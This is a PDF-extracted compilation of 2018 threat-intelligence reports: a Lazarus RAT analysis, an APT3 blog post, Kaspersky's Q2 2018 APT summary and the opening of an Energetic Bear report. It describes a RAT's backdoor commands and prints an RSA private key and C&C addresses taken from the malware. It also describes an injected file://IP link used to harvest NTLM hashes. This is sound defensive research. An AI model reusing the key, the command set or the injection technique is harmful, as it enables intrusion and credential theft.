their malware up until the latest news regarding targeting bitcoin +and cryptocurrency exchanges. In recent attacks, the Lazarus Group has been spreading +malicious documents with a RAT embedded inside that gets executed through a VBA macro. +These malicious documents contained a job description for different positions in various +industries. +Through our research, we came across a new malicious document where we have found +changes and a continuation to their campaign targeting potential cryptocurrency exchanges, +FinTech, financial companies, and others who might be involved with cryptocurrencies. The +malicious document came embedded with an upgraded and revamped version of a RAT they +have added to their arsenal. +Infection Vector +The malicious document +s original creation name is +Investment Proposal.doc + and attempts to +impersonate an employee of an Australia based law firm for commercial and financial services +1/18 +named Holley Nethercote. The document states that they have evaluated several +cryptocurrencies and they have put together an investment proposal aimed at FinTech, +financial, and other companies who might be interested in taking an investment. As can be +seen in the photos of the document below, the document is of very low quality, meaning there +are inconsistencies and typos everywhere in a document supposedly from a law firm. +The first page contains a basic description of what the investment proposal involves. Take note +of the name +Kate Harris, + a director from Holley Nethercote, by whom the document was +2/18 +supposedly written. +The second page is a general description of the company Holley Nethercote which is directly +taken from the first page of a PDF on the company +s website. +3/18 +The third page is a list of their employees and staff as can also be found on their +website. Remember Kate Harris, the director, from before? Shockingly enough, she does not +exist on this list. +4/18 +The fourth page contains a chart of various cryptocurrencies and random values associated +with them. The interesting point here is the date of a Bitcoin price that it mentions from +February 9th, 2018 which helps us put on a timeline of when this malicious document was +originally created. +5/18 +The fifth page states how they would like to invest $50M in the company that received this +document and contains some typos like + instead of + and other grammatical errors. +6/18 +The sixth page is a very poorly written document supposedly signed by the CEO of Holley +Nethercote involving the investment proposition. It also contains various typos and +grammatical errors with the general flow not making sense. +7/18 +The seventh and last page contains some fake contact information including a phone number +from the UK that is from an online service that allows you to receive an SMS through the +website. +Technical Details +Upon launching the document, an obfuscated VBA macro is executed to drop and execute an +embedded remote access tool. +8/18 +(embedded VBA macro) +The embedded RAT is dropped to and executed from %USERPROFILE%\RuntimeBroker.exe. +More evidence besides the date in the content of the document, pointing to this malware out in +February is that we can also see the compilation timestamp is from February 14, 2018 and the +upload date was on March 2, 2018. +After uploading the RAT to Intezer Analyze +, we found 4% of the code to have been used in +previous malware attributed to the Lazarus group, but 85% of the code base is completely +unique. This says to us that they made some changes to their code. +(https://analyze.intezer.com/#/analyses/ffb3993e-d646-42ad-8449-104d751cc17b) +The first code that gets executed within the RAT first decrypts a locally created, XOR +encrypted buffer of names of modules and imports that it resolves via GetProcAddress. +Resolving the binary +s own imports in this manner is very common in many of the previous +9/18 +Lazarus attributed malware. +Next, the RAT creates a shortcut of itself to %USERPROFILE%\Start +Menu\Programs\Startup\RuntimeBroker.lnk in order to maintain persistence and sets the +attributes of itself using SetFileAttributesW to HIDDEN | SYSTEM | NORMAL. Inside of the +function that is used for setting up the persistence, we can find a call to a function that is +responsible for decrypting a buffer containing multiple wide strings used throughout the binary. +10/18 +As can be seen in the function, it uses a very basic decryption routine to decrypt the locally +stored buffer. The decrypted buffer is as follows: +11/18 +The parameter to the function responsible for decrypting this buffer is an offset to grab a string +from this decrypted buffer by multiplying it by two, since these are wide strings. +Strangely enough, a lot of these strings are not used anywhere in the binary. By the strings, +you can see there is an intention of including a simple anti-VM technique to detect VirtualBox. +There is also one more function located within the binary, responsible for the same +functionality with a different buffer containing different strings. +Following all of this, the RAT then creates a backdoor which then waits to receive commands +from the various C&C servers. +12/18 +The C&C handler used to follow a pattern of command IDs but it appears to have changed to +random command values and contains commands with new functionality. Their handler is able +to handle 22 different commands and the descriptions of each can be found in the chart below. +Command Functionality +0xF4004A +Execute cmd.exe and output results to temp file or retrieve CD via GetCurrentDirectoryW. +Cmd.exe /c + > + 2>&1 +0x460017 +Collect various information about the hard drive such as the space and volume +information +0x7C00E6 +Collect various information about the computer such as the computer name, username, +host name, and more. +0x6400E5 +Creates new process via CreateProcessW +0xBE007B +Collect data about running processes by traversing the process list via +CreateToolhelpSnapshot32 related APIs +0x8500AF +Terminates a process by name +0xC004B +Gets specific file(s) data such as filenames, times, and attributes +0xD7007C +Collects a file and sends it to the C&C +0x3300E2 +Zips file(s) to temp and sends archive to C&C +0x9D00B0 +Write a file received from the server +0x200DF +Write a 5mb file with random bytes +13/18 +0x2E0016 +Deletes files +0x6C00AE +Overwrites entire file(s) contents with 0xCC and then deletes the file +0xFD0013 +Recursively traverse directory collecting file information +0x3C00AB +Checks if socket write access is valid to a given address +0x4B00E3 +Sets file(s) time via SetFileTime +0xE50012 +Configuration +0x5400AC +Updates socket configuration +0x1B00E1 +Renames file and sets attributes +0x750077 +Elevate process privileges +0xCC0010 +Inject code received by server into process +0x150014 +Pong response to ping +The binary uses wolfSSL to encrypt the network traffic containing two different certificates and +one private key. The certificates are stored in a local buffer of a function located within the +binary. +-----BEGIN CERTIFICATE----MIIDYjCCAkqgAwIBAgIIAT8TuSzaBG4wDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE +BhMCVVMxGTAXBgNVBAoMEEdsb2JhbFNpZ24gbnYtc2ExPDA6BgNVBAMMM0dsb2Jh +bFNpZ24gT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gQ0EgLSBTSEEyNTYgLSBHMjAi +GA8yMDE3MDkyNDA3MDMzOFoYDzIwMTkwMjA3MDcwMzM4WjBmMQswCQYDVQQGEwJV +UzEZMBcGA1UECgwQR2xvYmFsU2lnbiBudi1zYTE8MDoGA1UEAwwzR2xvYmFsU2ln +biBPcmdhbml6YXRpb24gVmFsaWRhdGlvbiBDQSAtIFNIQTI1NiAtIEcyMIIBIjAN +BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvwzKLRSyHoRCW804H0ryTXUQ8bY1 +n9/KfQOY06zeA2buKvHYsH1uB1QLEJghTYDLEiDnzE/eRX3Jcncy6sqQu2lSEAMv +qPOVxfGLYlYb72dvpBBBla0Km+OlwLDScHZQMFuo6AgsfO2nonqNOCkcrMft8nyV +sJWCfUlcOM13Je+9gHVTlDw9ymNbnxW10x0TLxnRPNt2Osy4fcnlwtfaQG/YIdxz +G0ItU5z+Gvx9q3o2P5jehHwFZ85qFDiHqfGMtWjLaH9xICv1oGP1Vi+jJtK3b7Fa +F9c4mQj+k1hv/sMTSQgWC6dNZwBSMWcjTpjtUUUduQTZC+zYKLNLve02eQIDAQAB +oxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQA261N1CtZuZ4Mf +5Q+KghudGcp+sG2X1UzQ8eZqYK+6xmIClKWSQ3EhWB19zor2dOOb2fRJ4iw72Lhy +14/18 +cH57R84whQSqqY9tqjwwulavMAzdBlz3RqsnAqdL5C6jeEfJmxmymH4Jz6kqJbCh +H1LVp6ToJ+lYA0QoCxkMqe6jCWE5K8QefM/kx8WhROJTdHHUKjFXFmon/fIJUAxo +SesxW3+YPeY7zzBUIjh0lYMhiyvXMDIMLo9zewR2nfi3aAa+APwAulTjm46dbH4K +cn7jc8IOt954R5jakc0AhtSZUHlPqKKHZy19iDfpcoFA7L/WuiNkfYPvN6eaxAvA +b3dxfi8N +-----END CERTIFICATE----- +-----BEGIN CERTIFICATE----MIIDgTCCAmmgAwIBAgIIAUyTG93zLTEwDQYJKoZIhvcNAQELBQAwZjELMAkGA1UE +BhMCVVMxGTAXBgNVBAoMEEdsb2JhbFNpZ24gbnYtc2ExPDA6BgNVBAMMM0dsb2Jh +bFNpZ24gT3JnYW5pemF0aW9uIFZhbGlkYXRpb24gQ0EgLSBTSEEyNTYgLSBHMjAi +GA8yMDE3MDkyNDA3MDUyMVoYDzIwMTkwMjA3MDcwNTIxWjCBljELMAkGA1UEBhMC +VVMxEDAOBgNVBAgMB05ld1lvcmsxEzARBgNVBAcMClJpdmVyIFZpZXcxIzAhBgNV +BAoMGldpa2ltZWRpYSBGb3VuZGF0aW9uLCBJbmMuMRgwFgYDVQQDDA8qLndpa2lw +ZWRpYS5vcmcxITAfBgkqhkiG9w0BCQEWEmluZm9Ad2lraXBlZGlhLm9yZzCCASIw +DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMD0Sv+OaQyRTtTyIQrKnx0mr2q +KlIHR9amNrIHMo7Quml7xsNEntSBSP0taKKLZ7uhdcg2LErSG/eLus8N+e/s8YEe +e5sDR5q/Zcx/ZSRppugUiVvkNPfFsBST9Wd7Onp44QFWVpGmE0KN0jxAnEzv0Ybf +N1EbDKE79fGjSjXk4c6W3xt+v06X0BDoqAgwga8gC0MUxXRntDKCb42GwohAmTaD +uh5AciIX11JlJHOwzu8Zza7/eGx7wBID1E5yDVBtO6M7o5lencjZDIWz2YrZVCbb +bfqsu/8lTMTRefRx04ZAGBOwY7VyTjDEl4SGLVYv1xX3f8Cu9fxb5fuhutMCAwEA +ATANBgkqhkiG9w0BAQsFAAOCAQEAGjef4dfuIkF7MdfLs4x5KqzM4/5+h1lS+SWS +ojTaAuH2++1pGgVV4vfGB9QVxoTDkcp5wWjw184x+P19Fjio+ucUUOmFmD7BERXX +V4NZMv/TwucAbRIb6/FRv13Koigi05tIhXesownpbMZq7p6I9P9GAd/Uu7XCMTPO +UHpuTtNoI+tjwwBhZK0XXp5ORdHKWbXfLXQgiCXLPJntKdrRnUzJpXvYQzTeZKxf +dQmjS8QN8IFtvBuprb3grAhm/wV+ueerTcM/wyBOu/7gg0J7CsjztqtomIHYAbpi +15/18 +x5pf3b6mzKG72ibnaKgL29wur5Cs+8in9d8/kOxgTpWbzZc35A== +-----END CERTIFICATE----- +-----BEGIN RSA PRIVATE KEY----MIIEpAIBAAKCAQEAwwPRK/45pDJFO1PIhCsqfHSavaoqUgdH1qY2sgcyjtC6aXvG +w0Se1IFI/S1oootnu6F1yDYsStIb94u6zw357+zxgR57mwNHmr9lzH9lJGmm6BSJ +W+Q098WwFJP1Z3s6enjhAVZWkaYTQo3SPECcTO/Rht83URsMoTv18aNKNeThzpbf +G36/TpfQEOioCDCBryALQxTFdGe0MoJvjYbCiECZNoO6HkByIhfXUmUkc7DO7xnN +rv94bHvAEgPUTnINUG07ozujmV6dyNkMhbPZitlUJttt+qy7/yVMxNF59HHThkAY +E7BjtXJOMMSXhIYtVi/XFfd/wK71/Fvl+6G60wIDAQABAoIBAQCi5thfEHFkCJ4u +bdFtHoXSCrGMR84sUWqgEp5T3pFMHW3qWXvyd6rZxtmKq9jhFuRjJv+1bBNZuOOl +yHIXLgyfb+VZP3ZvSbERwlouFikN3reO3EDVou7gHqH0vpfbhmOWFM2YCWAtMHac +PM3miO5HknkLWgDiXl8RfH35CLcgBokqXf0AqyLh8LO8JKleJg4fAC3+IZpTW23T +K6uUgmhDNtj2L8Yi/LVBXQ0zYOqkfX7oS1WRVtNcV48flBcvqt7pnqj0z4pMjqDk +VnOyz0+GxWk88yQgi1yWDPprEjuaZ8HfxpaypdWSDZsJQmgkEEXUUOQXOUjQNYuU +bRHej8pZAoGBAOokp/lpM+lx3FJ9iCEoL0neunIW6cxHeogNlFeEWBY6gbA/os+m +bB6wBikAj+d3dqzbysfZXps/JpBSrvw4kAAUu7QPWJTnL2p+HE9BIdQxWR9OihqN +p1dsItjl9H4yphDLZKVVA4emJwWMw9e2J7JNujDaR49U0z2LhI2UmFilAoGBANU4 +G8OPxZMMRwtvNZLFsI1GyJIYj/WACvfvof6AubUqusoYsF2lB9CTjdicBBzUYo6m +JoEB/86KKmM0NUCqbYDeiSNqV02ebq2TTlaQC22dc4sMric93k7wqsVseGdslFKc +N2dsLe+7r9+mkDzER8+Nlp6YqbSfxaZQ3LPw+3QXAoGAXoMJYr26fKK/QnT1fBzS +ackEDYV+Pj0kEsMYe/Mp818OdmxZdeRBhGmdMvPNIquwNbpKsjzl2Vi2Yk9d3uWe +CspTsiz3nrNrClt5ZexukU6SIPb8/Bbt03YM4ux/smkTa3gOWkZktF63JaBadTpL +78c8Pvf9JrggxJkKmnO+wxkCgYEAukSTFKw0GTtfkWCs97TWgQU2UVM96GXcry7c +YT7Jfbh/h/A7mwOCKTfOck4R1bHBDAegmZFKjX/sec/xObXphexi99p9vGRNIjwO +8tZR9YfYmcARIF0PKf1b4q7ZHNkhVm38hNBf7RAVHBgh58Q9S9fQnmqVzyLJA3ue +16/18 +42AB/C8CgYAR0EvPG2e5nxB1R4ZlrjHCxjCsWQZQ2Q+1cAb38NPIYnyo2m72IT/T +f1/qiqs/2Spe81HSwjA34y2jdQ0eTSE01VdwXIm/cuxKbmjVzRh0M06MOkWP5pZA +62P5GYY6Ud2JS7Dz+Z9dKJU4vjWrylznk1M0oUVdEzllQkahn831vw== +-----END RSA PRIVATE KEY----- +Conclusion +As we can see, the Blockbuster campaign and the Lazarus group are still active and have +shown a continued interest in cryptocurrencies and companies surrounding cryptocurrency. +Numerous exchanges are believed to have been hacked by the Lazarus group and there has +been a significant amount of money stolen by doing so. Since their efforts have been so +successful, it does not look like they will slow down anytime soon with these types of targets. +IoCs +Malicious Document +6b424d75445b3dabfb9b20895d0a1ce1430066ce7f3fcd87aa41fa32260ff92d +RAT + f8b329fc1f4d50f5509a72c1f630155538f4d2c6e49b80ce4841fada6547c4bd +C&Cs +182.56.5.227 +222.122.31.115 +66.99.86.8 +210.61.8.12 +62.215.99.90 +By Jay Rosenberg +Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years +old), specializing in Reverse Engineering and Malware Analysis. Currently working +as a Senior Security Researcher in Intezer. +Share: +Register to our free community +Try it now +17/18 + Intezer.com 2017 All rights reserved +18/18 +The destruction of APT3 +intrusiontruth.wordpress.com/2018/05/22/the-destruction-of-apt3/ +intrusiontruth +May 22, 2018 +Twelve months have passed since this blog exposed Wu Yingzhuo, Dong Hao, their company +Boyusec + and the Chinese Ministry of State Security (MSS) as being behind APT3. APT3 was, +at the time, one of the most damaging APT attacks to hit Western companies. One year on, we +take a look back at what happened after our publication. +The disappearance of APT3 +We published our explosive analysis in April and May 2017. It was the first time that the +Chinese Intelligence Services had been conclusively linked to an APT and followed similar +revelations, years previously, linking People +s Liberation Army (PLA) Unit 61398 to APT1. +The Boyusec website went offline the morning after the exposure and it hasn +t been back +online since. +The morning after, on boyusec.com +Boyusec disappeared into the shadows without making any effort to contact us or to refute any +of the conclusions of our analysis. These were not the actions of innocent individuals. +Where did these guys run off to? Perhaps not proud of their work as APT3? #buckeye +#gothicpanda #apt3 #boyusec #cyber pic.twitter.com/0lIzSIzxjd + Intrusion Truth (@intrusion_truth) May 10, 2017 +Corroboration by the community +A fortnight after our publication, a series of articles appeared online drawing on our work and +corroborating it. Our analysis formed the basis of articles by, among others, Security Week, +Dark Reading, Recorded Future, Threat Post and Security Lab. The Information Security +community agreed with our conclusion that Boyusec and MSS were behind the APT3 attacks. +There has been a lot of accumulated evidence that these guys are tied to the state + John +Hultquist, Director of Analysis at FireEye, said to Foreign Policy magazine. +Threat Post coverage based on Intrusion Truth analysis +US Government charges Wu and Dong +But the story doesn +t quite end there. Six months after our publications the US Justice +Department unsealed indictments against Wu Yingzhuo, Dong Hao and Xia Lei for computer +hacking, theft of trade secrets, conspiracy and identity theft. They had been prepared in +September 2017. +Three US victims were identified in the indictment + Trimble, Siemens and Moody +s Analytics +one for each of the +co-conspirators +The indictment document released by the US Government +Though the indictments didn +t mention the Chinese Government, Justice Department +spokesman Wyn Hornbuckle said that prosecutors only +included the allegations that we are +prepared to prove in court with admissible evidence +Wu, Dong and Xia are no longer able to travel internationally without fear of arrest and trial. +The maximum sentence for their crimes? 20 years. +Contractors vs employees +The Chinese Intelligence Service, MSS, had perhaps tried to be more careful than their military +colleagues in the People +s Liberation Army. They used commercial hackers rather than +government employees, probably thinking that it lent them some additional deniability. But, +given that the company involved was identified as MSS-tasked in any case, that choice may +have been a mistake. +As private citizens, Wu, Dong and Xia are vulnerable to action by other countries that may +choose to treat them as common criminals rather than government officials. The three have +already been charged by the US government and now risk being arrested, deported, tried and +imprisoned. +What happened to APT3? +This blog has been contacted by several InfoSec professionals who had been following APT3. +Without exception they reported a complete cessation of APT3 activity in May 2017. Following +the US indictment announcement in November 2017, the Wall Street Journal also reported that +Boyusec had been disbanded. +The Wall Street Journal claims that Boyusec was disbanded in late 2017 +In addition to the evidence above, the press release announcing the American indictments +against Wu, Dong and Xia refers to May 2017 as the final date of their activity. Our conclusion? +It seems that APT3 is no more. +What +s next? +The + in APT stands for Persistent. But this episode goes to show that Chinese APT hackers +will only persist whilst their activity remains anonymous. APT3 was one of the biggest APT +threats to Western companies, yet it was completely silenced by shining a light on its activities +and exposing the identities of those behind the group to the world. +Analysts working with this blog are continuing their efforts to identify the individuals, +companies and state institutions behind the damaging attacks that hit the West. We have +accumulated evidence on several groups over the last twelve months and hope to share some +of it soon. +APT Trends Report Q2 2018 +securelist.com/apt-trends-report-q2-2018/86487 +By GReAT +In the second quarter of 2017, Kaspersky Lab +s Global Research and Analysis Team (GReAT) +began publishing summaries of the quarter +s private threat intelligence reports, in an effort +to make the public aware of the research we have been conducting. This report serves as +the latest installment, focusing on the relevant activities that we observed during Q2 2018. +These summaries are a representative snapshot of what has been discussed in greater +detail in our private reports. They aim to highlight the significant events and findings that we +feel people should be aware of. For brevity +s sake, we are choosing not to publish indicators +associated with the reports highlighted. However, readers who would like to learn more +about our intelligence reports or request more information on a specific report are +encouraged to contact: intelreports@kaspersky.com. +Remarkable new findings +We are always interested in analyzing new techniques used by existing groups, or in finding +new clusters of activity that might lead us to discover new actors. Q2 2018 was very +interesting in terms of APT activity, with a remarkable campaign that reminds us how real +some of the threats are that we have been predicting over the last few years. In particular, +we have warned repeatedly how ideal networking hardware was for targeted attacks, and +that we had started seeing the first advanced sets of activity focusing on these devices. +In terms of well-known groups, Asian actors were the most active by far. +Lazarus/BlueNoroff was suspected of targeting financial institutions in Turkey as part of a +bigger cyberespionage campaign. The same actor was also suspected of a campaign against +an online casino in Latin America that ended in a destructive attack. Based on our telemetry, +we further observed Lazarus targeting financial institutions in Asia. Lazarus has +accumulated a large collection of artefacts over the last few years, in some cases with heavy +code reuse, which makes it possible to link many newly found sets of activity to this actor. +One such tool is the Manuscrypt malware, used exclusively by Lazarus in many recent +attacks. The US-CERT released a warning in June about a new version of Manuscrypt they +call TYPEFRAME. +US-CERT alert on Manuscrypt/TYPEFRAME malware used by Lazarus +Even if it is unclear what the role of Lazarus will be in the new geopolitical landscape, where +North Korea is actively engaged in peace talks, it would appear that financially motivated +activity (through the BlueNoroff and, in some cases, the Andariel subgroup) continues +unabated. +Possibly even more interesting is the relatively intense activity by Scarcruft, also known as +Group123 and Reaper. Back in January, Scarcruft was found using a zero-day exploit, CVE2018-4878 to target South Korea, a sign that the group +s capabilities were increasing. In the +last few months, the use of Android malware by this actor has been discovered, as well as a +new campaign where it spreads a new backdoor we call POORWEB. Initially, there was +suspicion that Scarcruft was also behind the CVE-2018-8174 zero day announced by +Qihoo360. We were later able to confirm the zero day was actually distributed by a different +APT group, known as DarkHotel. +The overlaps between Scarcruft and Darkhotel go back to 2016 when we discovered +Operation Daybreak and Operation Erebus. In both cases, attacks leveraged the same +hacked website to distribute exploits, one of which was a zero day. We were later able to +separate these as follows: +Operation +Exploit +Actor +Daybreak +CVE-2016-4171 +DarkHotel +Erebus +CVE-2016-4117 +Scarcruft +DarkHotel +s Operation Daybreak relied on spear-phishing emails predominantly targeting +Chinese victims with a Flash Player zero day. Meanwhile, Scarcruft +s Operation Erebus +focused primarily on South Korea. +Analysis of the CVE-2018-8174 exploit used by DarkHotel revealed that the attacker was +using URLMoniker to invoke Internet Explorer through Microsoft Word, ignoring any default +browser preferences on the victim +s computer. This is the first time we have observed this. +It is an interesting technique that we believe may be reused in future for different attacks. +For more details check our Securelist Blog: +The King is Dead. Long Live the King! +We also observed some relatively quiet groups coming back with new activity. A noteworthy +example is LuckyMouse (also known as APT27 and Emissary Panda), which abused ISPs in +Asia for waterhole attacks on high profile websites. We wrote about LuckyMouse targeting +national data centers in June. We also discovered that LuckyMouse unleashed a new wave +of activity targeting Asian governmental organizations just around the time they had +gathered for a summit in China. +Still, the most notable activity during this quarter is the VPNFilter campaign attributed by +the FBI to the Sofacy and Sandworm (Black Energy) APT groups. The campaign targeted a +large array of domestic networking hardware and storage solutions. It is even able to inject +malware into traffic in order to infect computers behind the infected networking device. We +have provided an analysis on the EXIF to C2 mechanism used by this malware. +This campaign is one of the most relevant examples we have seen of how networking +hardware has become a priority for sophisticated attackers. The data provided by our +colleagues at Cisco Talos indicates this campaign was at a truly global level. We can confirm +with our own analysis that traces of this campaign can be found in almost every country. +Activity of well-known groups +It seems that some of the most active groups from the last few years have reduced their +activity, although this does not mean they are less dangerous. For instance, it was publicly +reported that Sofacy started using new, freely available modules as last stagers for some +victims. However, we observed how this provided yet another innovation for their arsenal, +with the addition of new downloaders written in the Go programming language to +distribute Zebrocy. +There is possibly one notable exception to this supposed lack of activity. After the Olympic +Destroyer campaign last January against the Pyeongchang Winter Olympic games, we +observed new suspected activity by the same actor (we tentatively called them Hades) in +Europe. This time, it seems the targets are financial organizations in Russia, and biological +and chemical threat prevention laboratories in Europe and Ukraine. +But even more interesting is the resemblance between the TTPs and OPSEC of the Olympic +Destroyer set of activity and those of Sofacy. Olympic Destroyer is a master of deception, so +this may be yet another false flag, but so far we connect, with low to medium confidence, +the Hades group activity to Sofacy. +One of the most interesting attacks we detected was an implant from Turla (attributed to +this actor with medium confidence) that we call LightNeuron. This new artefact directly +targets Exchange Servers and uses legitimate standard calls to intercept emails, exfiltrate +data and even send mails on behalf of the victims. We believe this actor has been using this +technique since maybe as early as 2014, and that there is a version affecting Unix servers +running Postfix and Sendmail. So far we have seen victims of this implant in the Middle East +and Central Asia. +Newcomers and comebacks +Every now and then, we are surprised to see old actors that have been dormant for months +or even years distributing new malware. Obviously, this may be caused by a lack of visibility, +but regardless of that, it indicates that these actors are still active. +One good example would be WhiteWhale, an actor that has been extremely quiet since +2016. We detected a new campaign last April where the actor was distributing both the +Taidoor and Yalink malware families. This activity was almost exclusively targeting Japanese +entities. +Following the intense diplomatic activity around the North Korea peace talks and the +subsequent summit with the U.S. president in Singapore, Kimsuky decided to take +advantage of this theme to distribute its malware in a new campaign. A massive update to +its arsenal in late 2017 and early 2018 was mobilized in a new wave of spear-phishing +emails. +We also discovered a new low-sophistication set of activity we call Perfanly, which we couldn +t attribute to any known actor. It has been targeting governmental entities in Malaysia and +Indonesia since at least 2017. It uses custom multistage droppers as well as freely available +tools such as Metasploit. +Between June and July, we observed a battery of attacks against various institutions in +Kuwait. These attacks leverage Microsoft Office documents with macros, which drop a +combination of VBS and Powershell scripts using DNS for command and control. We have +observed similar activity in the past from groups such as Oilrig and Stonedrill, which leads +us to believe the new attacks could be connected, though for now that connection is only +assessed as low confidence. +Final thoughts +The combination of simple custom artefacts designed mainly to evade detection, with +publicly available tools for later stages seems to be a well-established trend for certain sets +of activity, like the ones found under the +Chinese-speaking umbrella +, as well as for many +newcomers who find the entry barrier into APT cyberespionage activity non-existent. +The intermittent activity by many actors simply indicates they were never out of business. +They might take small breaks to reorganize themselves, or to perform small operations that +might go undetected on a global scale. Probably one of the most interesting cases is +LuckyMouse, with aggressive new activity heavily related to the geopolitical agenda in Asia. +It is impossible to know if there is any coordination with other actors who resurfaced in the +region, but this is a possibility. +One interesting aspect is the high level of activity by Chinese-speaking actors against +Mongolian entities over the last 10 months. This might be related to several summits +between Asian countries + some related to new relations with North Korea + held in +Mongolia, and to the country +s new role in the region. +There were also several alerts from NCSC and US CERT regarding Energetic Bear/Crouching +Yeti activity. Even if it is not very clear how active this actor might be at the moment (the +alerts basically warned about past incidents), it should be considered a dangerous, active +and pragmatic actor very focused on certain industries. We recommend checking our latest +analysis on Securelist because the way this actor uses hacked infrastructure can create a lot +of collateral victims. +To recap, we would like to emphasize just how important networking hardware has become +for advanced attackers. We have seen various examples during recent months and +VPNFilter should be a wake-up call for those who didn +t believe this was an important issue. +We will continue to track all the APT activity we can find and will regularly highlight the more +interesting findings, but if you want to know more, please reach out to us at +intelreports@kasperksy.com. +Energetic Bear/Crouching +Yeti: attacks on servers +Kaspersky Lab ICS CERT + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Contents +Attack victims ................................................................................................................................................ 3 +Waterhole ..................................................................................................................................................... 4 +Scanned resources ........................................................................................................................................ 4 +Toolset used .................................................................................................................................................. 7 +Utilities ...................................................................................................................................................... 7 +Malicious php files .................................................................................................................................... 7 +Modified sshd .......................................................................................................................................... 12 +Activity of the attackers on compromised servers ..................................................................................... 13 +Conclusion ................................................................................................................................................... 15 +Appendix I + Indicators of Compromise...................................................................................................... 15 +Filenames and Paths ............................................................................................................................... 15 +PHP file hashes ........................................................................................................................................ 16 +Yara rules ................................................................................................................................................ 16 +Appendix II + Shell script to check a server for tools .................................................................................. 17 +Shell script for Debian ............................................................................................................................. 17 +Shell script for Centos ............................................................................................................................. 17 + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Energetic Bear/Crouching Yeti is a widely known APT group active since at least 2010. The group tends to +attack different companies with a strong focus on the energy and industrial sectors. Companies attacked +by Energetic Bear/Crouching Yeti are geographically distributed worldwide with a more obvious +concentration in Europe and the US. In 2016-2017, the number of attacks on companies in Turkey increased +significantly. +The main tactics of the group include sending phishing emails with malicious documents and infecting +various servers. The group uses some of the infected servers for auxiliary purposes + to host tools and logs. +Others are deliberately infected to use them in waterhole attacks in order to reach the group +s main +targets. +Recent activity of the group against US organizations was discussed in a US-CERT advisory, which linked +the actor to the Russian government, as well as an advisory by the UK National Cyber Security Centre. +This report by Kaspersky Lab ICS CERT presents information on identified servers that have been infected +and used by the group. The report also includes the findings of an analysis of several webservers +compromised by the Energetic Bear group during 2016 and in early 2017. + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Attack victims +The table below shows the distribution of compromised servers (based on the language of website +content and/or the origins of the company renting the server at the time of compromise) by countries, +attacked company types and the role of each server in the overall attack scheme. Victims of the threat +actor +s attacks were not limited to industrial companies. +Table 1. Compromised servers +Country +Russia +Description +Role in the attack +Opposition political website +Waterhole +Real estate agency +Auxiliary (collecting user data in the waterhole +attack) +Football club +Waterhole +Developer and integrator of Waterhole +secure automation systems and +IS consultant +Developers of software and Auxiliary (collecting user data in the waterhole +equipment +attack, tool hosting) +Investment website +Auxiliary (collecting user data in the waterhole +attack) +Electric power sector company +Waterhole +Bank +Waterhole +Aerospace company +Waterhole +Germany +Software +integrator +Ukraine +developer +and Waterhole +Unknown +Auxiliary (collecting user data in the waterhole +attack) +Oil and gas sector enterprise +Waterhole +Industrial group +Waterhole +Investment group +Waterhole +Greece +Server of a university +Auxiliary (collecting user data in the waterhole +attack) +Oil and gas sector enterprise +Waterhole +Unknown +Affiliate network site +Auxiliary (collecting user data in the waterhole +attack) +Turkey + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Waterhole +All waterhole servers are infected following the same pattern: injecting a link into a web page or JS file +with the following file scheme: file://IP/filename.png. +Injected link with the file scheme +The link is used to initiate a request for an image, as a result of which the user connects to the remote +server over the SMB protocol. In this attack type, the attackers' goal is to extract the following data from +the session: +user IP, +user name, +domain name, +NTLM hash of the user +s password. +It should be noted that the image requested using the link is not physically located on the remote server. +Scanned resources +Compromised servers are in some cases used to conduct attacks on other resources. In the process of +analyzing infected servers, numerous websites and servers were identified that the attackers had scanned +with various tools, such as nmap, dirsearch, sqlmap, etc. (tool descriptions are provided below). + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Table 2. Resources that were scanned from one of the infected servers +Country +(based on the +content) +Russia +Description +Non-profit organization +Sale of drugs +Travel/maps +Resources based on the Bump platform (platform for corporate social +networks) + non-profit organization, social network for college/university +alumni, communication platform for NGOs, etc. +Business + photographic studio +Industrial enterprise, construction company +Door manufacturing +Cryptocurrency exchange +Construction information and analysis portal +Personal website of a developer +Vainah Telecom IPs and Subnets (Chechen Republic) +Various Chechen resources (governmental organizations, universities, +industrial enterprises, etc.) +Web server with numerous sites (alumni sites, sites of industrial and +engineering companies, etc.) +Muslim dating site +Brazil +Water treatment +Turkey +Hotels +Embassy in Turkey +Software developer +Airport website +City council website +Cosmetics manufacturer +Religious website +Turktelekom subnet with a large number of sites +Telnet Telecom subnet with a large number of sites +Georgia +Personal website of a journalist +Kazakhstan +Unknown web server + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Ukraine +Kaspersky Lab ICS CERT +Office supplies online store +Floral business +Image hosting service +Online course on sales +Dealer of farming equipment and spare parts +Ukrainian civil servant +s personal website +Online store of parts for household appliance repair +Timber sales, construction +Tennis club website +Online store for farmers +Online store of massage equipment +Online clothes store +Website development and promotion +Online air conditioner store +Switzerland +Analytical company +Web server with many domains +France +Web server with many domains +Vietnam +Unknown server +International +Flight tracker +The sites and servers on this list do not seem to have anything in common. Even though the scanned +servers do not necessarily look like potential final victims, it is likely that the attackers scanned different +resources to find a server that could be used to establish a foothold for hosting the attackers + tools and, +subsequently, to develop the attack. +Part of the sites scanned may have been of interest to the attackers as candidates for hosting waterhole +resources. +In some cases, the domains scanned were hosted on the same server; sometimes the attackers went +through the list of possible domains matching a given IP. +In most cases, multiple attempts to compromise a specific target were not identified + with the possible +exception of sites on the Bump platform, flight tracker servers and servers of a Turkish hotel chain. +Curiously, the sites scanned included a web developer +s website, kashey.ru, and resources links to which +were found on this site. These may have been links to resources developed by the site +s owner: +www.esodedi.ru, www.i-stroy.ru, www.saledoor.ru + Kaspersky Lab, 1997 + 2018 +Energetic Bear/Crouching Yeti: attacks on servers +Kaspersky Lab ICS CERT +Toolset used +Utilities +Utilities found on compromised 